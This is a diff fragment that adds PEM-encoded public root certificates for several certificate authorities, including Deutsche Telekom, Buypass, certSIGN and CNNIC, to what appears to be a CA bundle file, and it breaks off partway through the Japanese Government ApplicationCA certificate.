+Deutsche Telekom Root CA 2
+==========================
+-----BEGIN CERTIFICATE-----
+MIIDnzCCAoegAwIBAgIBJjANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMT
+RGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0GA1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEG
+A1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBSb290IENBIDIwHhcNOTkwNzA5MTIxMTAwWhcNMTkwNzA5
+MjM1OTAwWjBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMTRGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0G
+A1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEGA1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBS
+b290IENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCrC6M14IspFLEUha88EOQ5
+bzVdSq7d6mGNlUn0b2SjGmBmpKlAIoTZ1KXleJMOaAGtuU1cOs7TuKhCQN/Po7qCWWqSG6wcmtoI
+KyUn+WkjR/Hg6yx6m/UTAtB+NHzCnjwAWav12gz1MjwrrFDa1sPeg5TKqAyZMg4ISFZbavva4VhY
+AUlfckE8FQYBjl2tqriTtM2e66foai1SNNs671x1Udrb8zH57nGYMsRUFUQM+ZtV7a3fGAigo4aK
+Se5TBY8ZTNXeWHmb0mocQqvF1afPaA+W5OFhmHZhyJF81j4A4pFQh+GdCuatl9Idxjp9y7zaAzTV
+jlsB9WoHtxa2bkp/AgMBAAGjQjBAMB0GA1UdDgQWBBQxw3kbuvVT1xfgiXotF2wKsyudMzAPBgNV
+HRMECDAGAQH/AgEFMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAlGRZrTlk5ynr
+E/5aw4sTV8gEJPB0d8Bg42f76Ymmg7+Wgnxu1MM9756AbrsptJh6sTtU6zkXR34ajgv8HzFZMQSy
+zhfzLMdiNlXiItiJVbSYSKpk+tYcNthEeFpaIzpXl/V6ME+un2pMSyuOoAPjPuCp1NJ70rOo4nI8
+rZ7/gFnkm0W09juwzTkZmDLl6iFhkOQxIY40sfcvNUqFENrnijchvllj4PKFiDFT1FQUhXB59C4G
+dyd1Lx+4ivn+xbrYNuSD7Odlt79jWvNGr4GUN9RBjNYj1h7P9WgbRGOiWrqnNVmh5XAFmw4jV5mU
+Cm26OWMohpLzGITY+9HPBVZkVw==
+-----END CERTIFICATE-----
+
+ComSign Secured CA
+==================
+-----BEGIN CERTIFICATE-----
+MIIDqzCCApOgAwIBAgIRAMcoRwmzuGxFjB36JPU2TukwDQYJKoZIhvcNAQEFBQAwPDEbMBkGA1UE
+AxMSQ29tU2lnbiBTZWN1cmVkIENBMRAwDgYDVQQKEwdDb21TaWduMQswCQYDVQQGEwJJTDAeFw0w
+NDAzMjQxMTM3MjBaFw0yOTAzMTYxNTA0NTZaMDwxGzAZBgNVBAMTEkNvbVNpZ24gU2VjdXJlZCBD
+QTEQMA4GA1UEChMHQ29tU2lnbjELMAkGA1UEBhMCSUwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
+ggEKAoIBAQDGtWhfHZQVw6QIVS3joFd67+l0Kru5fFdJGhFeTymHDEjWaueP1H5XJLkGieQcPOqs
+49ohgHMhCu95mGwfCP+hUH3ymBvJVG8+pSjsIQQPRbsHPaHA+iqYHU4Gk/v1iDurX8sWv+bznkqH
+7Rnqwp9D5PGBpX8QTz7RSmKtUxvLg/8HZaWSLWapW7ha9B20IZFKF3ueMv5WJDmyVIRD9YTC2LxB
+kMyd1mja6YJQqTtoz7VdApRgFrFD2UNd3V2Hbuq7s8lr9gOUCXDeFhF6K+h2j0kQmHe5Y1yLM5d1
+9guMsqtb3nQgJT/j8xH5h2iGNXHDHYwt6+UarA9z1YJZQIDTAgMBAAGjgacwgaQwDAYDVR0TBAUw
+AwEB/zBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vZmVkaXIuY29tc2lnbi5jby5pbC9jcmwvQ29t
+U2lnblNlY3VyZWRDQS5jcmwwDgYDVR0PAQH/BAQDAgGGMB8GA1UdIwQYMBaAFMFL7XC29z58ADsA
+j8c+DkWfHl3sMB0GA1UdDgQWBBTBS+1wtvc+fAA7AI/HPg5Fnx5d7DANBgkqhkiG9w0BAQUFAAOC
+AQEAFs/ukhNQq3sUnjO2QiBq1BW9Cav8cujvR3qQrFHBZE7piL1DRYHjZiM/EoZNGeQFsOY3wo3a
+BijJD4mkU6l1P7CW+6tMM1X5eCZGbxs2mPtCdsGCuY7e+0X5YxtiOzkGynd6qDwJz2w2PQ8KRUtp
+FhpFfTMDZflScZAmlaxMDPWLkz/MdXSFmLr/YnpNH4n+rr2UAJm/EaXc4HnFFgt9AmEd6oX5AhVP
+51qJThRv4zdLhfXBPGHg/QVBspJ/wx2g0K5SZGBrGMYmnNj1ZOQ2GmKfig8+/21OGVZOIJFsnzQz
+OjRXUDpvgV4GxvU+fE6OK85lBi5d0ipTdF7Tbieejw==
+-----END CERTIFICATE-----
+
+Cybertrust Global Root
+======================
+-----BEGIN CERTIFICATE-----
+MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYGA1UEChMPQ3li
+ZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBSb290MB4XDTA2MTIxNTA4
+MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQD
+ExZDeWJlcnRydXN0IEdsb2JhbCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
++Mi8vRRQZhP/8NN57CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW
+0ozSJ8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2yHLtgwEZL
+AfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iPt3sMpTjr3kfb1V05/Iin
+89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNzFtApD0mpSPCzqrdsxacwOUBdrsTiXSZT
+8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAYXSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAP
+BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2
+MDSgMqAwhi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3JsMB8G
+A1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUAA4IBAQBW7wojoFRO
+lZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMjWqd8BfP9IjsO0QbE2zZMcwSO5bAi
+5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUxXOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2
+hO0j9n0Hq0V+09+zv+mKts2oomcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+T
+X3EJIrduPuocA06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW
+WL1WMRJOEcgh4LMRkWXbtKaIOM5V
+-----END CERTIFICATE-----
+
+ePKI Root Certification Authority
+=================================
+-----BEGIN CERTIFICATE-----
+MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG
+EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg
+Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx
+MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq
+MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B
+AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs
+IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi
+lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv
+qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX
+12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O
+WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+
+ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao
+lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/
+vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi
+Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi
+MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
+ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0
+1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq
+KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV
+xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP
+NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r
+GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE
+xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx
+gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy
+sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD
+BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw=
+-----END CERTIFICATE-----
+
+T\xc3\x9c\x42\xC4\xB0TAK UEKAE K\xC3\xB6k Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 - S\xC3\xBCr\xC3\xBCm 3
+=============================================================================================================================
+-----BEGIN CERTIFICATE-----
+MIIFFzCCA/+gAwIBAgIBETANBgkqhkiG9w0BAQUFADCCASsxCzAJBgNVBAYTAlRSMRgwFgYDVQQH
+DA9HZWJ6ZSAtIEtvY2FlbGkxRzBFBgNVBAoMPlTDvHJraXllIEJpbGltc2VsIHZlIFRla25vbG9q
+aWsgQXJhxZ90xLFybWEgS3VydW11IC0gVMOcQsSwVEFLMUgwRgYDVQQLDD9VbHVzYWwgRWxla3Ry
+b25payB2ZSBLcmlwdG9sb2ppIEFyYcWfdMSxcm1hIEVuc3RpdMO8c8O8IC0gVUVLQUUxIzAhBgNV
+BAsMGkthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppMUowSAYDVQQDDEFUw5xCxLBUQUsgVUVLQUUg
+S8O2ayBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsSAtIFPDvHLDvG0gMzAeFw0wNzA4
+MjQxMTM3MDdaFw0xNzA4MjExMTM3MDdaMIIBKzELMAkGA1UEBhMCVFIxGDAWBgNVBAcMD0dlYnpl
+IC0gS29jYWVsaTFHMEUGA1UECgw+VMO8cmtpeWUgQmlsaW1zZWwgdmUgVGVrbm9sb2ppayBBcmHF
+n3TEsXJtYSBLdXJ1bXUgLSBUw5xCxLBUQUsxSDBGBgNVBAsMP1VsdXNhbCBFbGVrdHJvbmlrIHZl
+IEtyaXB0b2xvamkgQXJhxZ90xLFybWEgRW5zdGl0w7xzw7wgLSBVRUtBRTEjMCEGA1UECwwaS2Ft
+dSBTZXJ0aWZpa2FzeW9uIE1lcmtlemkxSjBIBgNVBAMMQVTDnELEsFRBSyBVRUtBRSBLw7ZrIFNl
+cnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIC0gU8O8csO8bSAzMIIBIjANBgkqhkiG9w0B
+AQEFAAOCAQ8AMIIBCgKCAQEAim1L/xCIOsP2fpTo6iBkcK4hgb46ezzb8R1Sf1n68yJMlaCQvEhO
+Eav7t7WNeoMojCZG2E6VQIdhn8WebYGHV2yKO7Rm6sxA/OOqbLLLAdsyv9Lrhc+hDVXDWzhXcLh1
+xnnRFDDtG1hba+818qEhTsXOfJlfbLm4IpNQp81McGq+agV/E5wrHur+R84EpW+sky58K5+eeROR
+6Oqeyjh1jmKwlZMq5d/pXpduIF9fhHpEORlAHLpVK/swsoHvhOPc7Jg4OQOFCKlUAwUp8MmPi+oL
+hmUZEdPpCSPeaJMDyTYcIW7OjGbxmTDY17PDHfiBLqi9ggtm/oLL4eAagsNAgQIDAQABo0IwQDAd
+BgNVHQ4EFgQUvYiHyY/2pAoLquvF/pEjnatKijIwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF
+MAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAB18+kmPNOm3JpIWmgV050vQbTlswyb2zrgxvMTfvCr4
+N5EY3ATIZJkrGG2AA1nJrvhY0D7twyOfaTyGOBye79oneNGEN3GKPEs5z35FBtYt2IpNeBLWrcLT
+y9LQQfMmNkqblWwM7uXRQydmwYj3erMgbOqwaSvHIOgMA8RBBZniP+Rr+KCGgceExh/VS4ESshYh
+LBOhgLJeDEoTniDYYkCrkOpkSi+sDQESeUWoL4cZaMjihccwsnX5OD+ywJO0a+IDRM5noN+J1q2M
+dqMTw5RhK2vZbMEHCiIHhWyFJEapvj+LeISCfiQMnf2BN+MlqO02TpUsyZyQ2uypQjyttgI=
+-----END CERTIFICATE-----
+
+Buypass Class 2 CA 1
+====================
+-----BEGIN CERTIFICATE-----
+MIIDUzCCAjugAwIBAgIBATANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
+QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMiBDQSAxMB4XDTA2
+MTAxMzEwMjUwOVoXDTE2MTAxMzEwMjUwOVowSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh
+c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDIgQ0EgMTCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBAIs8B0XY9t/mx8q6jUPFR42wWsE425KEHK8T1A9vNkYgxC7M
+cXA0ojTTNy7Y3Tp3L8DrKehc0rWpkTSHIln+zNvnma+WwajHQN2lFYxuyHyXA8vmIPLXl18xoS83
+0r7uvqmtqEyeIWZDO6i88wmjONVZJMHCR3axiFyCO7srpgTXjAePzdVBHfCuuCkslFJgNJQ72uA4
+0Z0zPhX0kzLFANq1KWYOOngPIVJfAuWSeyXTkh4vFZ2B5J2O6O+JzhRMVB0cgRJNcKi+EAUXfh/R
+uFdV7c27UsKwHnjCTTZoy1YmwVLBvXb3WNVyfh9EdrsAiR0WnVE1703CVu9r4Iw7DekCAwEAAaNC
+MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUP42aWYv8e3uco684sDntkHGA1sgwDgYDVR0P
+AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQAVGn4TirnoB6NLJzKyQJHyIdFkhb5jatLPgcIV
+1Xp+DCmsNx4cfHZSldq1fyOhKXdlyTKdqC5Wq2B2zha0jX94wNWZUYN/Xtm+DKhQ7SLHrQVMdvvt
+7h5HZPb3J31cKA9FxVxiXqaakZG3Uxcu3K1gnZZkOb1naLKuBctN518fV4bVIJwo+28TOPX2EZL2
+fZleHwzoq0QkKXJAPTZSr4xYkHPB7GEseaHsh7U/2k3ZIQAw3pDaDtMaSKk+hQsUi4y8QZ5q9w5w
+wDX3OaJdZtB7WZ+oRxKaJyOkLY4ng5IgodcVf/EuGO70SH8vf/GhGLWhC5SgYiAynB321O+/TIho
+-----END CERTIFICATE-----
+
+Buypass Class 3 CA 1
+====================
+-----BEGIN CERTIFICATE-----
+MIIDUzCCAjugAwIBAgIBAjANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
+QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMyBDQSAxMB4XDTA1
+MDUwOTE0MTMwM1oXDTE1MDUwOTE0MTMwM1owSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh
+c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDMgQ0EgMTCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBAKSO13TZKWTeXx+HgJHqTjnmGcZEC4DVC69TB4sSveZn8AKx
+ifZgisRbsELRwCGoy+Gb72RRtqfPFfV0gGgEkKBYouZ0plNTVUhjP5JW3SROjvi6K//zNIqeKNc0
+n6wv1g/xpC+9UrJJhW05NfBEMJNGJPO251P7vGGvqaMU+8IXF4Rs4HyI+MkcVyzwPX6UvCWThOia
+AJpFBUJXgPROztmuOfbIUxAMZTpHe2DC1vqRycZxbL2RhzyRhkmr8w+gbCZ2Xhysm3HljbybIR6c
+1jh+JIAVMYKWsUnTYjdbiAwKYjT+p0h+mbEwi5A3lRyoH6UsjfRVyNvdWQrCrXig9IsCAwEAAaNC
+MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUOBTmyPCppAP0Tj4io1vy1uCtQHQwDgYDVR0P
+AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQABZ6OMySU9E2NdFm/soT4JXJEVKirZgCFPBdy7
+pYmrEzMqnji3jG8CcmPHc3ceCQa6Oyh7pEfJYWsICCD8igWKH7y6xsL+z27sEzNxZy5p+qksP2bA
+EllNC1QCkoS72xLvg3BweMhT+t/Gxv/ciC8HwEmdMldg0/L2mSlf56oBzKwzqBwKu5HEA6BvtjT5
+htOzdlSY9EqBs1OdTUDs5XcTRa9bqh/YL0yCe/4qxFi7T/ye/QNlGioOw6UgFpRreaaiErS7GqQj
+el/wroQk5PMr+4okoyeYZdowdXb8GZHo2+ubPzK/QJcHJrrM85SFSnonk8+QQtS4Wxam58tAA915
+-----END CERTIFICATE-----
+
+EBG Elektronik Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1
+==========================================================================
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+certSIGN ROOT CA
+================
+-----BEGIN CERTIFICATE-----
+MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD
+VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa
+Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE
+CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I
+JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH
+rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2
+ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD
+0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943
+AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B
+Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB
+AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8
+SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0
+x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt
+vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz
+TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD
+-----END CERTIFICATE-----
+
+CNNIC ROOT
+==========
+-----BEGIN CERTIFICATE-----
+MIIDVTCCAj2gAwIBAgIESTMAATANBgkqhkiG9w0BAQUFADAyMQswCQYDVQQGEwJDTjEOMAwGA1UE
+ChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwHhcNMDcwNDE2MDcwOTE0WhcNMjcwNDE2MDcw
+OTE0WjAyMQswCQYDVQQGEwJDTjEOMAwGA1UEChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1Qw
+ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTNfc/c3et6FtzF8LRb+1VvG7q6KR5smzD
+o+/hn7E7SIX1mlwhIhAsxYLO2uOabjfhhyzcuQxauohV3/2q2x8x6gHx3zkBwRP9SFIhxFXf2tiz
+VHa6dLG3fdfA6PZZxU3Iva0fFNrfWEQlMhkqx35+jq44sDB7R3IJMfAw28Mbdim7aXZOV/kbZKKT
+VrdvmW7bCgScEeOAH8tjlBAKqeFkgjH5jCftppkA9nCTGPihNIaj3XrCGHn2emU1z5DrvTOTn1Or
+czvmmzQgLx3vqR1jGqCA2wMv+SYahtKNu6m+UjqHZ0gNv7Sg2Ca+I19zN38m5pIEo3/PIKe38zrK
+y5nLAgMBAAGjczBxMBEGCWCGSAGG+EIBAQQEAwIABzAfBgNVHSMEGDAWgBRl8jGtKvf33VKWCscC
+wQ7vptU7ETAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIB/jAdBgNVHQ4EFgQUZfIxrSr3991S
+lgrHAsEO76bVOxEwDQYJKoZIhvcNAQEFBQADggEBAEs17szkrr/Dbq2flTtLP1se31cpolnKOOK5
+Gv+e5m4y3R6u6jW39ZORTtpC4cMXYFDy0VwmuYK36m3knITnA3kXr5g9lNvHugDnuL8BV8F3RTIM
+O/G0HAiw/VGgod2aHRM2mm23xzy54cXZF/qD1T0VoDy7HgviyJA/qIYM/PmLXoXLT1tLYhFHxUV8
+BS9BsZ4QaRuZluBVeftOhpm4lNqGOGqTo+fLbuXf6iFViZx9fX+Y9QCJ7uOEwFyWtcVG6kbghVW2
+G8kS1sHNzYDzAgE8yGnLRUhj2JTQ7IUOO04RZfSCjKY9ri4ilAnIXOo8gV0WKgOXFlUJ24pBgp5m
+mxE=
+-----END CERTIFICATE-----
+
+ApplicationCA - Japanese Government
+===================================
+-----BEGIN CERTIFICATE-----
+MIIDoDCCAoigAwIBAgIBMTANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJKUDEcMBoGA1UEChMT
+SmFwYW5lc2UgR292ZXJubWVudDEWMBQGA1UECxMNQXBwbGljYXRpb25DQTAeFw0wNzEyMTIxNTAw
+MDBaFw0xNzEyMTIxNTAwMDBaMEMxCzAJBgNVBAYTAkpQMRwwGgYDVQQKExNKYXBhbmVzZSBHb3Zl
+cm5tZW50MRYwFAYDVQQLEw1BcHBsaWNhdGlvbkNBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
+CgKCAQEAp23gdE6Hj6UG3mii24aZS2QNcfAKBZuOquHMLtJqO8F6tJdhjYq+xpqcBrSGUeQ3DnR4
+fl+Kf5Sk10cI/VBaVuRorChzoHvpfxiSQE8tnfWuREhzNgaeZCw7NCPbXCbkcXmP1G55IrmTwcrN
